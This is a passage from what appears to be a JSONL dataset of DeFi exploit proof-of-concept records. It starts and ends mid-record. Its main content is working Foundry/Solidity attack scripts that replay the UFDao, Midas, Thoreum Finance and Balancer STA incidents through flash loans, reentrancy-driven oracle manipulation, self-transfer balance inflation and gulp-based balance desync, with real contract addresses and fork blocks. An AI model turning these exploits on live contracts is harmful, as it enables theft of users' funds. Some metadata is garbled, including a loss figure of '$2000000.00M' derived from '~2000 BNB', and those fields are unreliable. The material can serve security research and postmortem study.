new address[](1);\n tokens[0] = address(USDC);\n address[] memory adapters = new address[](0);\n address[] memory pools = new address[](0);\n UFT.burn(amount, tokens, adapters, pools);\n amount = 1000 * 1e18;\n shop.buyPublicOffer(UF, amount);\n UFT.burn(amount, tokens, adapters, pools);\n\n emit log_named_decimal_uint(\n \"Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "UFDao", "date": "2023-01", "file_name": "UFDao_exp.sol", "attack_vector": null, "content_hash": "91d6b4397b32fabb", "collected_at": "2026-01-07T10:59:16.525467", "_source": "postmortems", "chain": "bsc", "block_number": 24705058, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 1.2, "quality_estimate": "low", "title": "UFDao Exploit (2023-01)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/peckshield/status/1614774855999844352\n// https://twitter.com/BlockSecTeam/status/1614864084956254209\n// @TX\n// https://polygonscan.com/tx/0x0053490215baf541362fc78be0de98e3147f40223238d5b12512b3e26c0a2c2f\n\ninterface PriceProvider {\n function getUnderlyingPrice(\n address cTokens\n ) external view returns (uint256);\n}\n\ninterface ICurvePools is ICurvePool {\n function remove_liquidity(uint256 token_amount, uint256[2] memory min_amounts, bool donate_dust) external;\n function remove_liquidity_one_coin(uint256 token_amount, uint256 i, uint256 min_amount, bool use_eth) external;\n}\n\ncontract LiquidateContract {\n ICErc20Delegate WMATIC_STMATIC = ICErc20Delegate(0x23F43c1002EEB2b146F286105a9a2FC75Bf770A4);\n ICErc20Delegate FJCHF = ICErc20Delegate(0x62Bdc203403e7d44b75f357df0897f2e71F607F3);\n ICErc20Delegate FJEUR = ICErc20Delegate(0xe150e792e0a18C9984a0630f051a607dEe3c265d);\n ICErc20Delegate FJGBP = ICErc20Delegate(0x7ADf374Fa8b636420D41356b1f714F18228e7ae2);\n ICErc20Delegate FAGEUR = ICErc20Delegate(0x5aa0197D0d3E05c4aA070dfA2f54Cd67A447173A);\n IERC20 STMATCI_F = IERC20(0xe7CEA2F6d7b120174BF3A9Bc98efaF1fF72C997d);\n\n function liquidate(\n address receiver\n ) external payable {\n IERC20(FJCHF.underlying()).approve(address(FJCHF), type(uint256).max);\n IERC20(FJEUR.underlying()).approve(address(FJEUR), type(uint256).max);\n IERC20(FJGBP.underlying()).approve(address(FJGBP), type(uint256).max);\n IERC20(FAGEUR.underlying()).approve(address(FAGEUR), type(uint256).max);\n\n FJCHF.liquidateBorrow(receiver, IERC20(FJCHF.underlying()).balanceOf(address(this)), address(WMATIC_STMATIC));\n FJEUR.liquidateBorrow(receiver, IERC20(FJEUR.underlying()).balanceOf(address(this)), address(WMATIC_STMATIC));\n FJGBP.liquidateBorrow(receiver, IERC20(FJGBP.underlying()).balanceOf(address(this)), address(WMATIC_STMATIC));\n FAGEUR.liquidateBorrow(receiver, IERC20(FAGEUR.underlying()).balanceOf(address(this)), address(WMATIC_STMATIC));\n WMATIC_STMATIC.redeem(WMATIC_STMATIC.balanceOf(address(this)));\n STMATCI_F.transfer(receiver, STMATCI_F.balanceOf(address(this)));\n }\n}\n\ncontract ContractTest is Test {\n IBalancerVault balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);\n IAaveFlashloan aaveV2 = IAaveFlashloan(0x8dFf5E27EA6b7AC08EbFdf9eB090F32ee9a30fcf);\n IUnitroller unitroller = IUnitroller(0xD265ff7e5487E9DD556a4BB900ccA6D087Eb3AD2);\n ICurvePools curvePool = ICurvePools(0xFb6FE7802bA9290ef8b00CA16Af4Bc26eb663a28);\n ICurvePools EURCurvePool = ICurvePools(0x2fFbCE9099cBed86984286A54e5932414aF4B717);\n PriceProvider oraclePrice = PriceProvider(0xb9e1c2B011f252B9931BBA7fcee418b95b6Bdc31);\n ICErc20Delegate WMATIC_STMATIC = ICErc20Delegate(0x23F43c1002EEB2b146F286105a9a2FC75Bf770A4);\n ICErc20Delegate FJCHF = ICErc20Delegate(0x62Bdc203403e7d44b75f357df0897f2e71F607F3);\n ICErc20Delegate FJEUR = ICErc20Delegate(0xe150e792e0a18C9984a0630f051a607dEe3c265d);\n ICErc20Delegate FJGBP = ICErc20Delegate(0x7ADf374Fa8b636420D41356b1f714F18228e7ae2);\n ICErc20Delegate FAGEUR = ICErc20Delegate(0x5aa0197D0d3E05c4aA070dfA2f54Cd67A447173A);\n IDMMExchangeRouter KyberRouter = IDMMExchangeRouter(0x546C79662E028B661dFB4767664d0273184E4dD1);\n Uni_Router_V3 UniRouter = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);\n\n IERC20 WMATIC = IERC20(0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270);\n IERC20 STMATCI_F = IERC20(0xe7CEA2F6d7b120174BF3A9Bc98efaF1fF72C997d);\n IERC20 STMATCI = IERC20(0x3A58a54C066FdC0f2D55FC9C89F0415C92eBf3C4);\n IERC20 USDC = IERC20(0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174);\n address amWMATIC = 0x8dF3aad3a84da6b69A4DA8aeC3eA40d9091B2Ac4;\n address aPolWMATIC = 0x6d80113e533a2C0fe82EaBD35f1875DcEA89Ea97;\n uint256 balancerFlashloanAmount;\n uint256 aaveV3FlashloanAmount;\n uint256 aaveV2FlashloanAmount;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"polygon\", 38_118_347);\n cheats.label(address(balancer), \"balancer\");\n cheats.label(address(aaveV3), \"aaveV3\");\n cheats.label(address(aaveV2), \"aaveV2\");\n cheats.label(address(unitroller), \"unitroller\");\n cheats.label(address(curvePool), \"curvePool\");\n cheats.label(address(EURCurvePool), \"EURCurvePool\");\n cheats.label(address(oraclePrice), \"oraclePrice\");\n cheats.label(address(WMATIC_STMATIC), \"WMATIC_STMATIC\");\n cheats.label(address(KyberRouter), \"KyberRouter\");\n cheats.label(address(UniRouter), \"UniRouter\");\n cheats.label(address(oraclePrice), \"oraclePrice\");\n cheats.label(address(FJCHF), \"FJCHF\");\n cheats.label(address(FJEUR), \"FJEUR\");\n cheats.label(address(FJGBP), \"FJGBP\");\n cheats.label(address(FAGEUR), \"FAGEUR\");\n cheats.label(address(WMATIC), \"WMATIC\");\n cheats.label(address(STMATCI_F), \"STMATCI_F\");\n cheats.label(address(STMATCI), \"STMATCI\");\n cheats.label(address(USDC), \"USDC\");\n }\n\n function testExploit() public {\n payable(address(0)).transfer(address(this).balance);\n balancerFlashloan();\n\n emit log_named_decimal_uint(\n \"Attacker WMATIC balance after exploit\", WMATIC.balanceOf(address(this)), WMATIC.decimals()\n );\n }\n\n function balancerFlashloan() internal {\n balancerFlashloanAmount = WMATIC.balanceOf(address(balancer));\n address[] memory tokens = new address[](1);\n tokens[0] = address(WMATIC);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = balancerFlashloanAmount;\n bytes memory userData = \"\";\n balancer.flashLoan(address(this), tokens, amounts, userData);\n }\n\n // balancerFlashloan callback\n function receiveFlashLoan(\n address[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) external {\n aaveV3Flashloan();\n WMATIC.transfer(address(balancer), balancerFlashloanAmount);\n }\n\n function aaveV3Flashloan() internal {\n aaveV3FlashloanAmount = WMATIC.balanceOf(aPolWMATIC);\n address[] memory assets = new address[](1);\n assets[0] = address(WMATIC);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = aaveV3FlashloanAmount;\n uint256[] memory modes = new uint256[](1);\n modes[0] = 0;\n aaveV3.flashLoan(address(this), assets, amounts, modes, address(this), \"\", 0);\n }\n\n function aaveV2Flashloan() internal {\n aaveV2FlashloanAmount = WMATIC.balanceOf(amWMATIC);\n address[] memory assets = new address[](1);\n assets[0] = address(WMATIC);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = aaveV2FlashloanAmount;\n uint256[] memory modes = new uint256[](1);\n modes[0] = 0;\n aaveV2.flashLoan(address(this), assets, amounts, modes, address(this), \"\", 0);\n }\n\n // aaveFlashloan callback\n function executeOperation(\n address[] calldata assets,\n uint256[] calldata amounts,\n uint256[] calldata premiums,\n address initiator,\n bytes calldata params\n ) external payable returns (bool) {\n if (msg.sender == address(aaveV3)) {\n WMATIC.approve(address(aaveV3), type(uint256).max);\n aaveV2Flashloan();\n return true;\n } else {\n WMATIC.approve(address(aaveV2), type(uint256).max);\n address[] memory cTokens = new address[](5);\n cTokens[0] = address(WMATIC_STMATIC);\n cTokens[1] = address(FJCHF);\n cTokens[2] = address(FJEUR);\n cTokens[3] = address(FJGBP);\n cTokens[4] = address(FAGEUR);\n unitroller.enterMarkets(cTokens);\n WMATIC.approve(address(curvePool), type(uint256).max);\n STMATCI_F.approve(address(WMATIC_STMATIC), type(uint256).max);\n curvePool.add_liquidity([uint256(0), uint256(270_000 * 1e18)], 0);\n uint256 mintAmount = STMATCI_F.balanceOf(address(this));\n WMATIC_STMATIC.mint(mintAmount); // deposit collateral\n uint256 WMMATICAmount = WMATIC.balanceOf(address(this));\n console.log(\n \"Before reentrancy collateral price\", oraclePrice.getUnderlyingPrice(address(WMATIC_STMATIC)) / 1e18\n );\n uint256 LPAmount = curvePool.add_liquidity([uint256(0), WMMATICAmount], 0);\n curvePool.remove_liquidity(LPAmount, [uint256(0), uint256(0)], true); // reentrancy point\n liquidate();\n curvePool.remove_liquidity_one_coin(STMATCI_F.balanceOf(address(this)), 1, 0, false);\n swapAll();\n return true;\n }\n }\n\n receive() external payable {\n if (msg.sender == address(curvePool)) {\n console.log(\n \"After reentrancy collateral price\", oraclePrice.getUnderlyingPrice(address(WMATIC_STMATIC)) / 1e18\n );\n borrowAll();\n }\n }\n\n function borrowAll() internal {\n FJCHF.borrow(IERC20(FJCHF.underlying()).balanceOf(address(FJCHF)));\n FJEUR.borrow(425_500 * 1e18);\n // FJEUR.borrow(IERC20(FJEUR.underlying()).balanceOf(address(FJEUR)));\n FJGBP.borrow(IERC20(FJGBP.underlying()).balanceOf(address(FJGBP)));\n FAGEUR.borrow(IERC20(FAGEUR.underlying()).balanceOf(address(FAGEUR)));\n }\n\n function liquidate() internal {\n LiquidateContract liquidateContract = new LiquidateContract();\n IERC20(FJCHF.underlying()).transfer(address(liquidateContract), 22_214_068_291_997_556_144_357);\n IERC20(FJEUR.underlying()).transfer(address(liquidateContract), 57_442_500_000_000_000_000_000);\n IERC20(FJGBP.underlying()).transfer(address(liquidateContract), 4_750_000_000_000_000_000_000);\n IERC20(FAGEUR.underlying()).transfer(address(liquidateContract), 4_769_452_686_674_485_072_297);\n liquidateContract.liquidate(address(this));\n }\n\n function swapAll() internal {\n JCHFToUSDC();\n JEURToUSDC();\n JGBPToUSDC();\n AGEURToUSDC();\n USDCToWMATIC();\n STMATCI.approve(address(curvePool), type(uint256).max);\n curvePool.add_liquidity([STMATCI.balanceOf(address(this)), uint256(0)], 0);\n curvePool.remove_liquidity_one_coin(STMATCI_F.balanceOf(address(this)), 1, 0, false);\n address(WMATIC).call{value: address(this).balance}(\"\");\n }\n\n function JCHFToUSDC() internal {\n IERC20 JCHF = IERC20(FJCHF.underlying());\n JCHF.approve(address(KyberRouter), type(uint256).max);\n address[] memory poolsPath = new address[](1);\n poolsPath[0] = address(0x439E6A13a5ce7FdCA2CC03bF31Fb631b3f5EF157);\n IERC20[] memory path = new IERC20[](2);\n path[0] = JCHF;\n path[1] = USDC;\n KyberRouter.swapExactTokensForTokens(\n JCHF.balanceOf(address(this)), 0, poolsPath, path, address(this), block.timestamp\n );\n }\n\n function JEURToUSDC() internal {\n IERC20 JEUR = IERC20(FJEUR.underlying());\n JEUR.approve(address(KyberRouter), type(uint256).max);\n address[] memory poolsPath = new address[](1);\n poolsPath[0] = address(0xa1219DBE76eEcBf7571Fed6b020Dd9154396B70e);\n IERC20[] memory path = new IERC20[](2);\n path[0] = JEUR;\n path[1] = USDC;\n KyberRouter.swapExactTokensForTokens(150_000 * 1e18, 0, poolsPath, path, address(this), block.timestamp);\n }\n\n function JGBPToUSDC() internal {\n IERC20 JGBP = IERC20(FJGBP.underlying());\n JGBP.approve(address(KyberRouter), type(uint256).max);\n address[] memory poolsPath = new address[](1);\n poolsPath[0] = address(0xbb2d00675B775E0F8acd590e08DA081B2a36D3a6);\n IERC20[] memory path = new IERC20[](2);\n path[0] = JGBP;\n path[1] = USDC;\n KyberRouter.swapExactTokensForTokens(\n JGBP.balanceOf(address(this)), 0, poolsPath, path, address(this), block.timestamp\n );\n }\n\n function AGEURToUSDC() internal {\n IERC20 AGEUR = IERC20(FAGEUR.underlying());\n IERC20 JEUR = IERC20(FJEUR.underlying());\n JEUR.approve(address(EURCurvePool), type(uint256).max);\n EURCurvePool.exchange(1, 0, JEUR.balanceOf(address(this)), 0);\n AGEUR.approve(address(UniRouter), type(uint256).max);\n Uni_Router_V3.ExactInputSingleParams memory _Params = Uni_Router_V3.ExactInputSingleParams({\n tokenIn: address(AGEUR),\n tokenOut: address(USDC),\n fee: 100,\n recipient: address(this),\n deadline: block.timestamp,\n amountIn: AGEUR.balanceOf(address(this)),\n amountOutMinimum: 0,\n sqrtPriceLimitX96: 0\n });\n UniRouter.exactInputSingle(_Params);\n }\n\n function USDCToWMATIC() internal {\n USDC.approve(address(UniRouter), type(uint256).max);\n Uni_Router_V3.ExactInputSingleParams memory _Params = Uni_Router_V3.ExactInputSingleParams({\n tokenIn: address(USDC),\n tokenOut: address(WMATIC),\n fee: 500,\n recipient: address(this),\n deadline: block.timestamp,\n amountIn: USDC.balanceOf(address(this)),\n amountOutMinimum: 0,\n sqrtPriceLimitX96: 0\n });\n UniRouter.exactInputSingle(_Params);\n }\n}\n", "type": "exploit_poc", "protocol": "Midas", "date": "2023-01", "file_name": "Midas_exp.sol", "attack_vector": "flash_loan", "content_hash": "92294ad3861d053f", "collected_at": "2026-01-07T10:59:16.525516", "_source": "postmortems", "chain": "polygon", "block_number": 38118347, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n payable(address(0)).transfer(address(this).balance);\n balancerFlashloan();\n\n emit log_named_decimal_uint(\n \"Attacker WMATIC balance after exploit\", WMATIC.balanceOf(address(this)), WMATIC.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 6, "quality_estimate": "medium", "title": "Midas Exploit (2023-01)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~2000 BNB (6 BNB in this tx)\n// Attacker : 0x1ae2dc57399b2f4597366c5bf4fe39859c006f99\n// Attack Contract : 0x7d1e1901226e0ba389bfb1281ede859e6e48cc3d\n// Vulnerable Contract : 0xce1b3e5087e8215876af976032382dd338cf8401\n// Attack Tx : https://bscscan.com/tx/0x3fe3a1883f0ae263a260f7d3e9b462468f4f83c2c88bb89d1dee5d7d24262b51\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/token/0xce1b3e5087e8215876af976032382dd338cf8401#code\n\n// @Analysis\n// Ancilia : https://twitter.com/AnciliaInc/status/1615944396134043648\n\nCheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\nIPancakeRouter constant router = IPancakeRouter(payable(0x3a6d8cA21D1CF76F653A67577FA0D27453350dD8));\n\naddress constant wbnb_addr = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\naddress constant thoreum_addr = 0xCE1b3e5087e8215876aF976032382dd338cF8401;\naddress constant wbnb_thoreum_lp_addr = 0xd822E1737b1180F72368B2a9EB2de22805B67E34;\naddress constant exploiter = 0x1285FE345523F00AB1A66ACD18d9E23D18D2e35c;\nIWBNB constant wbnb = IWBNB(payable(wbnb_addr));\nTHOREUMInterface constant THOREUM = THOREUMInterface(thoreum_addr);\n\ncontract Attacker is Test {\n // forge test --contracts ./src/test/ThoreumFinance_exp.sol -vvv\n function setUp() public {\n cheat.label(address(router), \"router\");\n cheat.label(thoreum_addr, \"thoreum\");\n cheat.label(exploiter, \"exploiter\");\n cheat.label(wbnb_addr, \"wbnb\");\n cheat.label(wbnb_thoreum_lp_addr, \"wbnb_thoreum_lp\");\n cheat.createSelectFork(\"bsc\", 24_913_171);\n }\n\n function testExploit() public {\n Exploit exploit = new Exploit();\n emit log_named_decimal_uint(\"[start] Attacker wbnb Balance\", wbnb.balanceOf(exploiter), 18);\n exploit.harvest();\n emit log_named_decimal_uint(\"[End] Attacker wbnb Balance\", wbnb.balanceOf(exploiter), 18);\n }\n}\n\ncontract Exploit is Test {\n function harvest() public {\n // step1: get some thoreum token\n vm.deal(address(this), 0.003 ether);\n wbnb.deposit{value: 0.003 ether}();\n wbnb.approve(address(router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(wbnb);\n path[1] = address(THOREUM);\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 0.003 ether, 0, path, address(this), block.timestamp\n );\n emit log_named_decimal_uint(\"[INFO] address(this) thoreum balance : \", THOREUM.balanceOf(address(this)), 18);\n\n // step2: loop transfer function 15 times\n for (uint256 i = 0; i < 15; i++) {\n THOREUM.transfer(address(this), THOREUM.balanceOf(address(this)));\n emit log_named_decimal_uint(\n \"[INFO] address(this) thoreum balance : \", THOREUM.balanceOf(address(this)), 18\n );\n }\n\n //step3: swap thoreum to wbnb\n THOREUM.approve(address(router), type(uint256).max);\n wbnb.approve(wbnb_thoreum_lp_addr, type(uint256).max);\n address[] memory path2 = new address[](2);\n path2[0] = address(THOREUM);\n path2[1] = address(wbnb);\n emit log_named_decimal_uint(\"[INFO] address(this) thoreum balance : \", THOREUM.balanceOf(address(this)), 18);\n while (THOREUM.balanceOf(address(this)) > 40_000 ether) {\n emit log_named_decimal_uint(\"[INFO] address(exploiter) wbnb balance : \", wbnb.balanceOf(exploiter), 18);\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 40_000 ether, 0, path2, exploiter, block.timestamp\n );\n }\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n THOREUM.balanceOf(address(this)), 0, path2, exploiter, block.timestamp\n );\n }\n\n receive() external payable {}\n}\n\ninterface THOREUMInterface is IERC20 {\n function deposit() external payable;\n function withdraw(\n uint256 wad\n ) external;\n}\n", "type": "exploit_poc", "protocol": "ThoreumFinance", "date": "2023-01", "file_name": "ThoreumFinance_exp.sol", "attack_vector": null, "content_hash": "872c597623a26c94", "collected_at": "2026-01-07T10:59:16.525607", "_source": "postmortems", "chain": "bsc", "block_number": 24913171, "total_lost_raw": "~2000 BNB (6 BNB in this tx)", "total_lost_usd": 2000000000000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://bscscan.com/tx/0x3fe3a1883f0ae263a260f7d3e9b462468f4f83c2c88bb89d1dee5d7d24262b51", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "~2000 BNB (6 BNB in this tx)", "category": "unknown", "exploit_code": "function testExploit() public {\n Exploit exploit = new Exploit();\n emit log_named_decimal_uint(\"[start] Attacker wbnb Balance\", wbnb.balanceOf(exploiter), 18);\n exploit.harvest();\n emit log_named_decimal_uint(\"[End] Attacker wbnb Balance\", wbnb.balanceOf(exploiter), 18);\n }\n}\n\ncontract Exploit is Test {", "has_exploit_code": true, "keyinfo_total_lost": "~2000 BNB (6 BNB in this tx)", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://bscscan.com/tx/0x3fe3a1883f0ae263a260f7d3e9b462468f4f83c2c88bb89d1dee5d7d24262b51", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$2000000.00M", "content_richness_score": 7.05, "quality_estimate": "medium", "title": "ThoreumFinance Exploit (2023-01)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.0;\n\nimport \"forge-std/console2.sol\";\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n/*\nBalancer STA Exploit\n\nVulnerability principle: The incompatibility issue of deflationary tokens(STA) on Balancer. When users exchange deflationary tokens,\nthe contract does not validate the received tokens, leading to incorrect balance records.\n\nAttackers can exploit this to create price deviations and profit from them. Exploitation process:\n1. The attacker borrows a large amount of WETH from DYDX through flash loans.\n2. The attacker continuously calls the swapExactAmountIn function to control the amount of STA tokens in the Balancer pool to 1,\n thereby increasing the price of STA for exchanging other tokens.\n3. The attacker exchanges 1 STA for WETH and after each exchange, calls the gulp function to overwrite the STA balance,\n keeping the price high for STA to WETH exchanges.\n4. Repay the flash loan and exit with profits.\n\nAttack Tx: https://etherscan.io/tx/0x013be97768b702fe8eccef1a40544d5ecb3c1961ad5f87fee4d16fdc08c78106\n*/\n\nstruct AccountInfo {\n address owner; // The address that owns the account\n uint256 number; // A nonce that allows a single address to control many accounts\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory amounts);\n}\n\nlibrary Actions {\n enum ActionType {\n Deposit, // supply tokens\n Withdraw, // borrow tokens\n Transfer, // transfer balance between accounts\n Buy, // buy an amount of some token (publicly)\n Sell, // sell an amount of some token (publicly)\n Trade, // trade tokens against another account\n Liquidate, // liquidate an undercollateralized or expiring account\n Vaporize, // use excess tokens to zero-out a completely negative account\n Call // send arbitrary data to an address\n\n }\n\n struct ActionArgs {\n ActionType actionType;\n uint256 accountId;\n Types.AssetAmount amount;\n uint256 primaryMarketId;\n uint256 secondaryMarketId;\n address otherAddress;\n uint256 otherAccountId;\n bytes data;\n }\n}\n\nlibrary Types {\n enum AssetDenomination {\n Wei, // the amount is denominated in wei\n Par // the amount is denominated in par\n\n }\n\n enum AssetReference {\n Delta, // the amount is given as a delta from the current value\n Target // the amount is given as an exact number to end up at\n\n }\n\n struct AssetAmount {\n bool sign; // true if positive\n AssetDenomination denomination;\n AssetReference ref;\n uint256 value;\n }\n}\n\ninterface ISoloMargin {\n function operate(AccountInfo[] memory accounts, Actions.ActionArgs[] memory actions) external;\n}\n\ninterface BPool {\n function swapExactAmountIn(\n address tokenIn,\n uint256 tokenAmountIn,\n address tokenOut,\n uint256 minAmountOut,\n uint256 maxPrice\n ) external returns (uint256 tokenAmountOut, uint256 spotPriceAfter);\n\n function gulp(\n address token\n ) external;\n\n function getBalance(\n address token\n ) external view returns (uint256);\n\n function swapExactAmountOut(\n address tokenIn,\n uint256 maxAmountIn,\n address tokenOut,\n uint256 tokenAmountOut,\n uint256 maxPrice\n ) external;\n}\n\ncontract BalancerExp is Test {\n address dydx = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e;\n address weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n address sta = 0xa7DE087329BFcda5639247F96140f9DAbe3DeED1;\n BPool bpool = BPool(0x0e511Aa1a137AaD267dfe3a6bFCa0b856C1a3682);\n address pancakeV2Router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\n uint256 public constant BONE = 10 ** 18;\n uint256 public constant MAX_IN_RATIO = BONE / 2;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 10_355_806);\n }\n\n function testExploit() public {\n // approve\n IERC20(weth).approve(dydx, type(uint256).max);\n IERC20(weth).approve(address(bpool), type(uint256).max);\n IERC20(sta).approve(address(bpool), type(uint256).max);\n IERC20(sta).approve(pancakeV2Router, type(uint256).max);\n\n emit log_named_decimal_uint(\n \"[Before Attack] Attacker WETH Balance : \", (IERC20(weth).balanceOf(address(this))), 18\n );\n emit log_named_decimal_uint(\n \"[Before Attack] Attacker STA Balance : \", (IERC20(sta).balanceOf(address(this))), 18\n );\n\n // attack\n attack();\n\n // check profit\n emit log_named_decimal_uint(\n \"[After Attack] Attacker WETH Balance : \", (IERC20(weth).balanceOf(address(this))), 18\n );\n emit log_named_decimal_uint(\n \"[After Attack] Attacker STA Balance : \", (IERC20(sta).balanceOf(address(this))), 18\n );\n }\n\n function bmul(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c0 = a * b;\n uint256 c1 = c0 + (BONE / 2);\n uint256 c2 = c1 / BONE;\n return c2;\n }\n\n // take flash loan from dydx\n function attack() private {\n AccountInfo[] memory accounts = new AccountInfo[](1);\n {\n accounts[0].owner = address(this);\n accounts[0].number = 1;\n }\n\n Actions.ActionArgs[] memory actions = new Actions.ActionArgs[](3);\n {\n uint256 wethAmount = IERC20(weth).balanceOf(dydx);\n actions[0].actionType = Actions.ActionType.Withdraw;\n actions[0].amount.value = wethAmount;\n actions[0].otherAddress = address(this);\n\n actions[1].actionType = Actions.ActionType.Call;\n actions[1].otherAddress = address(this);\n\n actions[2].actionType = Actions.ActionType.Deposit;\n actions[2].amount.sign = true;\n actions[2].amount.value = wethAmount + 2;\n actions[2].otherAddress = address(this);\n }\n\n ISoloMargin(dydx).operate(accounts, actions);\n }\n\n function callFunction(\n address, // sender\n AccountInfo memory, // accountInfo\n bytes memory // data\n ) external {\n // swap weth to sta\n bpool.gulp(weth);\n uint256 MaxinRatio = bmul(bpool.getBalance(weth), MAX_IN_RATIO);\n bpool.swapExactAmountIn(weth, MaxinRatio - 1e18, sta, 0, 9999 * 1e18);\n bpool.swapExactAmountIn(sta, IERC20(sta).balanceOf(address(this)), weth, 0, 9999 * 1e18);\n MaxinRatio = bmul(bpool.getBalance(weth), MAX_IN_RATIO);\n bpool.swapExactAmountIn(weth, (MaxinRatio * 50) / 100, sta, 0, 9999 * 1e18);\n bpool.swapExactAmountIn(sta, IERC20(sta).balanceOf(address(this)), weth, 0, 9999 * 1e18);\n MaxinRatio = bmul(bpool.getBalance(weth), MAX_IN_RATIO);\n bpool.swapExactAmountIn(weth, (MaxinRatio * 25) / 100, sta, 0, 9999 * 1e18);\n bpool.swapExactAmountIn(sta, IERC20(sta).balanceOf(address(this)), weth, 0, 9999 * 1e18);\n\n for (uint256 i = 0; i < 16; i++) {\n MaxinRatio = bmul(bpool.getBalance(weth), MAX_IN_RATIO);\n if ((i + 1) < 9) {\n bpool.swapExactAmountIn(weth, (MaxinRatio * (i + 1) * 10) / 100, sta, 0, 9999 * 1e18);\n } else {\n bpool.swapExactAmountIn(weth, (MaxinRatio * 95) / 100, sta, 0, 9999 * 1e18);\n }\n }\n\n require(IERC20(sta).balanceOf(address(this)) > 0, \"swap weth to sta failed\");\n\n bpool.swapExactAmountOut(\n weth, 99_999_999_999 * 1e18, sta, IERC20(sta).balanceOf(address(bpool)) - 1, 99_999 * 1e18\n );\n bpool.gulp(sta);\n\n // swap sta to weth\n for (uint256 j = 0; j < 20; j++) {\n MaxinRatio = bmul(bpool.getBalance(sta), MAX_IN_RATIO);\n bpool.swapExactAmountIn(sta, 1, weth, 0, 9999 * 1e18);\n bpool.gulp(sta);\n }\n }\n\n function donate() public payable {}\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Balancer_20200628", "date": "2020-06", "file_name": "Balancer_20200628_exp.sol", "attack_vector": null, "content_hash": "7d457345b708c609", "collected_at": "2026-01-07T10:59:16.525677", "_source": "postmortems", "chain": "ethereum", "block_number": 10355806, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://etherscan.io/tx/0x013be97768b702fe8eccef1a40544d5ecb3c1961ad5f87fee4d16fdc08c78106", "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n // approve\n IERC20(weth).approve(dydx, type(uint256).max);\n IERC20(weth).approve(address(bpool), type(uint256).max);\n IERC20(sta).approve(address(bpool), type(uint256).max);\n IERC20(sta).approve(pancakeV2Router, type(uint256).max);\n\n emit log_named_decimal_uint(\n \"[Before Attack] Attacker WETH Balance : \", (IERC20(weth).balanceOf(address(this))), 18\n );\n emit log_named_decimal_uint(\n \"[Before Attack] Attacker STA Balance : \", (IERC20(sta).balanceOf(address(this))), 18\n );\n\n 